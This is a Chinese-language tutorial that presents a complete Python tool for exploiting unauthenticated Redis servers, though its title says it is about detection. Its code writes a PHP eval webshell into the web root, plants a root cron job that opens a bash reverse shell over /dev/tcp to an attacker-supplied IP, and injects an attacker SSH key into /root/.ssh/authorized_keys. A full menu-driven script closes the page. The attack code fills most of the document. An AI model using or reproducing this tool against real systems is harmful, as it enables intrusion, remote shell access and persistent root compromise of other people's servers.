使用python腳本實現(xiàn)Redis未授權(quán)訪問檢測

更新時間：2024年10月08日 11:31:56 作者：2,4(1H,3H)-PD?are?mine

Redis未授權(quán)訪問漏洞是一種安全漏洞,可能導(dǎo)致未經(jīng)授權(quán)的用戶或攻擊者訪問Redis數(shù)據(jù)庫,甚至修改或刪除其中的數(shù)據(jù),這種漏洞通常發(fā)生在管理員未正確配置Redis實例的訪問控制和認(rèn)證機制時,本文介紹了python腳本實現(xiàn)Redis未授權(quán)訪問漏洞利用,需要的朋友可以參考下

1 測試環(huán)境準(zhǔn)備

CentOS 7（192.168.198.66/24）：安裝 Redis 服務(wù)器并用 root 權(quán)限開啟服務(wù)，關(guān)閉保護(hù)模式；安裝并開啟 httpd 服務(wù)；開啟 ssh 服務(wù)。

Kali（192.168.198.172/24）：測試腳本效果，模擬攻擊機。

Win10：VS Code開發(fā)腳本，Xshell控制虛擬機。

2 未授權(quán)訪問檢測

首先需要檢測 6379 端口是否開啟，直接使用 socket 連接測試即可，is_port_open() 函數(shù)實現(xiàn)檢測端口開啟情況。

def is_port_open(host,port):
    s=socket.socket()
    s.settimeout(0.3)
    try:
        s.connect((host,port))
    except Exception as e:
        return False
    else:
        return True
    finally:
        s.close()

然后嘗試連接 Redis 服務(wù)器，這里用到redis模塊中的StrictRedis(host,port,socket_timeout)，通過client_list() 方法獲取客戶列表查看是否連接成功。如果成功連接到 Redis 服務(wù)器， client_list() 的調(diào)用就不會拋出異常。

try:
    client = redis.StrictRedis(host=ip, port=port, socket_timeout=0.3)
    ok_lst = client.client_list()
    print('[+] Connected to the Redis server successfully...')
except Exception as e:
    print(f'[-] An unexpected error occurred: {e}')

3 寫入webshell

Redis命令：

config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST[123]); ?>"
save

對應(yīng)的 redis 模塊的方法：

client.config_set('dir','/var/www/html')
client.config_set('dbfilename','shell.php')
client.set('x','<?php @eval($_POST[123]); ?>')
client.save()

增加設(shè)置根目錄一句話木馬名稱和密碼功能：

def Webshell(client):
    try:
        df_dir='/var/www/html'
        web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')
        web_dir=web_dir.strip()
        if not web_dir: web_dir=df_dir
        name=input('Please enter the name of the PHP file you want to upload: ')
        passwd=input('Please enter the connection password: ')
        client.config_set('dir',web_dir)
        client.config_set('dbfilename',name+'.php')
        client.set('x','<?php @eval($_POST['+passwd+']); ?>')
        client.save()
        print("[+] Webshell "+name+".php"+" uploaded successfully...")
    except Exception as e:
        print(f"[-] Webshell upload failed: {e}")

4 建立反彈連接

同理，這里利用定時任務(wù)實現(xiàn)反彈連接。先設(shè)置 Redis 數(shù)據(jù)庫目錄到系統(tǒng)定時任務(wù)目錄，名字設(shè)置為 root （相當(dāng)于修改 root 用戶的定時任務(wù)），增加用戶設(shè)定 IP 和端口監(jiān)聽功能。

def Reverse(client):
    try:
        client.config_set('dir','/var/spool/cron')
        client.config_set('dbfilename','root')
        ip=input('Set the attacker\'s IP address: ')
        port=input('Set the listening port: ')
        payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'
        client.set('x',payload)
        client.save()
        print("[+] Reverse shell task created successfully...")
    except Exception as e:
        print(f"[-] Reverse shell creation failed: {e}")

5 SSH keys 免密登錄

把 Redis 的目錄設(shè)置為 /root/.ssh，保存文件為 authorized_keys，實現(xiàn)在靶機中 authorized_keys 寫入攻擊者 ssh 公鑰。

def Ssh(client):
    try:
        sshkey=input('Enter the SSH key you have generated: ')
        client.config_set('dir','/root/.ssh')
        client.config_set('dbfilename','authorized_keys')
        client.set('x','\n\n'+sshkey+'\n\n')
        client.save()
        print("[+] SSH key injected successfully.")
    except Exception as e:
        print(f"[-] SSH key injection failed: {e}")

6 完整代碼

import numpy as np
import socket
import redis
import sys
def Hello_FK_Redis():
    a,b=60,30
    x,y,r=30,15,13
    img=np.zeros((b,a),dtype=str)
    for i in range(b):
        for j in range(a):
            dist=np.sqrt((i-y)**2+(j-x)**2)
            if r-1<dist<r+1: img[i,j]='*'
            elif abs(j-x)<1 and dist<r: img[i,j]='|'
            elif abs(i-y)<1 and dist<r: img[i,j]='-'
    img[img=='']=' '
    for i in img: print(''.join(i))
    print('----Welcome to use Redis Vulnerability Exploitation Tool----')
def is_port_open(host,port):
    s=socket.socket()
    s.settimeout(0.3)
    try:
        s.connect((host,port))
    except Exception as e:
        return False
    else:
        return True
    finally:
        s.close()
def Webshell(client):
    try:
        df_dir='/var/www/html'
        web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')
        web_dir=web_dir.strip()
        if not web_dir: web_dir=df_dir
        name=input('Please enter the name of the PHP file you want to upload: ')
        passwd=input('Please enter the connection password: ')
        client.config_set('dir',web_dir)
        client.config_set('dbfilename',name+'.php')
        client.set('x','<?php @eval($_POST['+passwd+']); ?>')
        client.save()
        print("[+] Webshell "+name+".php"+" uploaded successfully...")
    except Exception as e:
        print(f"[-] Webshell upload failed: {e}")
 
def Reverse(client):
    try:
        client.config_set('dir','/var/spool/cron')
        client.config_set('dbfilename','root')
        ip=input('Set the attacker\'s IP address: ')
        port=input('Set the listening port: ')
        ip=ip.strip()
        port=port.strip()
        payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'
        client.set('x',payload)
        client.save()
        print("[+] Reverse shell task created successfully...")
    except Exception as e:
        print(f"[-] Reverse shell creation failed: {e}")
def Ssh(client):
    try:
        sshkey=input('Enter the SSH key you have generated: ')
        client.config_set('dir','/root/.ssh')
        client.config_set('dbfilename','authorized_keys')
        client.set('x','\n\n'+sshkey+'\n\n')
        client.save()
        print("[+] SSH key injected successfully.")
    except Exception as e:
        print(f"[-] SSH key injection failed: {e}")
if __name__ == '__main__':
    Hello_FK_Redis()
    ip=input('Please enter the target machine\'s IP address: ')
    port=6379
    if is_port_open(ip,port):
        print('[+] Port 6379 is open...')
        print('[*] Trying to connect Redis server...')
        try:
            client=redis.StrictRedis(host=ip,port=port,socket_timeout=0.3)
            ok_lst=client.client_list()
            print('[+] Connected to the Redis server successfully...')
            print('Please choose the exploit method you want to use:\nEnter 1 for webshell\nEnter 2 for establishing a reverse connection\nEnter 3 for SSH key-based authentication\nOr any other character to exit...')
            try:
                c=int(input())
                if c==1: Webshell(client)
                elif c==2: Reverse(client)
                elif c==3: Ssh(client)
                else: 
                    print('[*] Exiting...')
                    sys.exit()
            except Exception:
                print('[*] Exiting...')
                sys.exit()
        except Exception as e:
            print(f'[-] An unexpected error occurred: {e}')
 
    else:
        print('[-] Port 6379 is not open...')